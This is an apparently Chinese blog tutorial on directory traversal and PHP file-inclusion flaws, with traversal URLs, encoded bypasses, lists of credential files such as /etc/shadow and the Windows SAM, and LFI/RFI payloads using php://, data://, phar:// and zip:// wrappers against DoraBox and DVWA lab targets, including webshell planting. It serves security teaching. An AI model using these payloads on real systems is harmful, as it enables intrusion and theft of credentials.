web安全之目录遍历攻击,文件包含

本文详细介绍了目录遍历攻击和文件包含漏洞的概念、成因及利用方式,包括PHP中的相关函数和伪协议。通过实例展示了如何利用这些漏洞获取敏感信息,如读取系统文件、执行非预期代码。同时,提到了防御措施和常见的攻击手段,如URI编码、文件类型限制等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0×00 目录遍历攻击

目录遍历是Http所存在的一个安全漏洞,它使得攻击者能够访问受限制的目录,并在Web服务器的根目录以外执行命令。

目录遍历攻击可能从两个方面产生:

①利用web应用代码实行目录遍历攻击
②利用web服务器进行目录遍历攻击

原理:

程序在实现上没有充分过滤用户输入的…/之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。

读取文件的url:

http://127.0.0.1/my.jsp?file=xxx.html

如果服务器允许这种访问方式,那麽就有可能存在遍历攻击

恶意url:

http://127.0.0.1/my.jsp?file=../../Windows.system.ini

这样就可以获取服务器的信息。

…/…/只是我们猜想的

从web服务器本身的软件或者代码也可能造成漏洞。
 
 例如,如下的一个URL请求,它使用了IIS的脚本目录来移动目录并执行指令:http://server.com/scripts/…%5c…/Windows/System32/cmd.exe?/c+dir+c:\

这个请求会返回C:\目录下所有文件的列表,它使通过调用cmd.exe然后再用dir c:\来实现的,%5c是web服务器的转换符,用来代表一些常见字符,这里表示的是“\”

URI编码形式的目录遍历攻击

一些网络应用会通过查询危险的字符串,例如:

…
…\
…/

来防止目录遍历攻击。然而,服务器检查的字符串往往会被URI编码。因此这类系统将无法避免如下形式的目录遍历攻击:

%2e%2e%2f:解码为…/
%2e%2e/:解码为…/
…%2f:解码为…/
%2e%2e%5c:解码为…\

注意:对于不同的操作系统
linux目录遍历攻击,通用的linux系统的目录遍历攻击字符串形如“…/”。
一般攻击路径

 /etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

Windows操作系统目录遍历攻击
对于微软的Windows操作系统以及DOS系统的目录结构,攻击者可以使用“…/”或者“…\”字符串。

在Windows操作系统中,每个磁盘分区有一个独立的根目录(比如我们会把个人电脑分区成“C盘”、“D盘”等等),并且在所有磁盘分区之上没有更高级的根目录。这意味着Windows系统上的目录遍历攻击会被隔离在单个磁盘分区之内,不会波及到其他盘。(是不是很狗)

敏感路径:

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

但是如果目录遍历攻击在D盘就没用了

0×01 文件包含漏洞

0×01 前言

我们在写代码的时候,对于某些代码我们可能会多次使用,但是一遍遍重复的写,这不是浪费时间🐎,所以我们就会将高频率使用的代码包含在一个文件里,用的时候引用就行了。这应该就是文件包含了

0×02 漏洞造成原因

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码,从而形成了漏洞。

0×03 php语言四个文件包含函数

include()
include_once()
require()
require_once()

require() 如果在包含过程中出错,就会直接退出,不执行后续语句
include() 如果在包含过程中出错,只会提出警告,但不影响后续语句的执行
include_once()函数和require_once()函数,这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

0×04 文件包含漏洞分类

0×01 本地文件包含漏洞

0×00 任意文件包含

Dorabox为例

输入1
得到信息

在这里插入图片描述
用的是include()函数,没有经过任何的过滤。

那我们先建一个txt.txt文件

内容:

<?phpnfo();?>

构造payload:http://127.0.0.1/DoraBox/file_include/any_include.php?file=txt.txt&submit=submit

得到了php版本,等等各种信息。

在这里插入图片描述
我们换个格式的payload

http://127.0.0.1/DoraBox/file_include/any_include.php?file=txt.jpg&submit=submit

在这里插入图片描述

一样可以得到PHP的一些信息。

真是任意文件包含。

0×01 session文件包含漏洞

通过上面的截图我们不只是得到了PHP版本信息

在这里插入图片描述
我们也得到了session的存储位置。

那麽我们就可以对session的值进行更改。

使用下面代码

<?php

session_start();

$a=$_GET['a'];

$_SESSION["username"]=$a;

?>

将我们传入a值存进session里。

当然我们也可以传入phpinfo();等等像这样的代码。

一般存有session值的文件名都是sess_PHPSESSID

当然我们也可以使用type命令或者cat命令,将包含有session的文件显示出来。

0×02 目录限制文件包含

对于那些只允许包含指定文件下的文件

<?php
	include "../class/function.class.php";
	$p = new Func("GET","file");
	$p -> con_html();
	if (isset($_REQUEST['submit'])) {
		$file = $_REQUEST['file'];
		include './'.$file;
	}
?>

类似于上面源码,对我们进行了限制。

那麽我们可以尝试利用目录遍历盲猜

http://127.0.0.1/DoraBox/file_include/include_1.php?file=./txt.php&submit=submit

情况不一样,也可以是../

在这里插入图片描述

包含文件类型限制(只允许.php文件)
if(@$_GET['file']){ include_once($_GET['file'].".php"); }

对于这种类型,我们一般都使用截断
①%00截断(需要php版本小于5.3.4,且关闭magic_quotes_gpc功能。)
②…(windows文件名最长不大于256,Linux不大于1024?)
③?截断

以上三个就不做具体的测试了,有兴趣可以自己搞一下。

0×02 远程文件包含漏洞

远程文件包含利用的条件严格,需要满足

allow_url_fopen = On(是否允许打开远程文件)

allow_url_include = On(是否允许include/require远程文件)

我们见到的大多数都是本地文件包含。

http://127.0.0.1/DoraBox/file_include/include_1.php?file=http://192.168.1.105/test.txt

在这里插入图片描述

0×03 PHP伪协议

伪协议太多,只详讲php://

0×00 php://

php:// — 访问各个输入/输出流(I/O streams)

?file=file://文件绝对路径

可以读取到文件内容

0×01 php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。

这个好像ctf比赛用的比较多

①?filename=php://filter/convert.base64-encode/resource=xxx.php
②?filename=php://filter/read=convert.base64-encode/resource=xxx.php

这两个效果一样

通过这样的语句能获得xxx.php的代码的base64加密结果,通过base64解密后便可获得xxx.php的页面代码。

0×02 php://input

php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。(其他请求方式无效)

说白了就是利用input将我们的写的数据通过post传上去。

但有一点比较特殊,enctype=“multipart/form-data” 的时候 php://input 是无效的。

我们也可以写入木马,但需要开启

allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)有的大师傅说需要开启

在这里插入图片描述
一句话木马,然后菜刀连接。

0×03 php://output

php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。

0×04 data://

和php://相似,将原本的数据流重新定向到用户的可控制的输入流中。可直接执行代码。

①   ?file=data:text/plain,<?php 执行内容 ?>
②   ?file=data:text/plain;base64,编码后的php代码(对特殊字符过滤了,可以使用)
0×05 phar:// 伪协议

这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压(rar格式不行)。

PHP版本 >= 5.3.0

?file=phar://压缩包/内部文件

写一个一句话木马文件cmd.php,然后用zip协议压缩为shell.zip,然后将后缀改为jpg等其他格式。

那麽payload:?file=phar://cmd.jpg/cmd.php

0×06 zip:// 伪协议

与phar://类似

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php。

是绝对路径且#要手动编码为%23

以DVWA靶场的文件上传为栗子

首先将我们test.php压缩zip文件

内容:

<? phpinfo(); ?>

上传成功!

在这里插入图片描述
我们知道了上传路径。

然后构造payload:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=zip://D:\phpStudy\PHPTutorial\WWW\DVWA\hackable\uploads\test.zip%23txt.php

在这里插入图片描述
成功。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值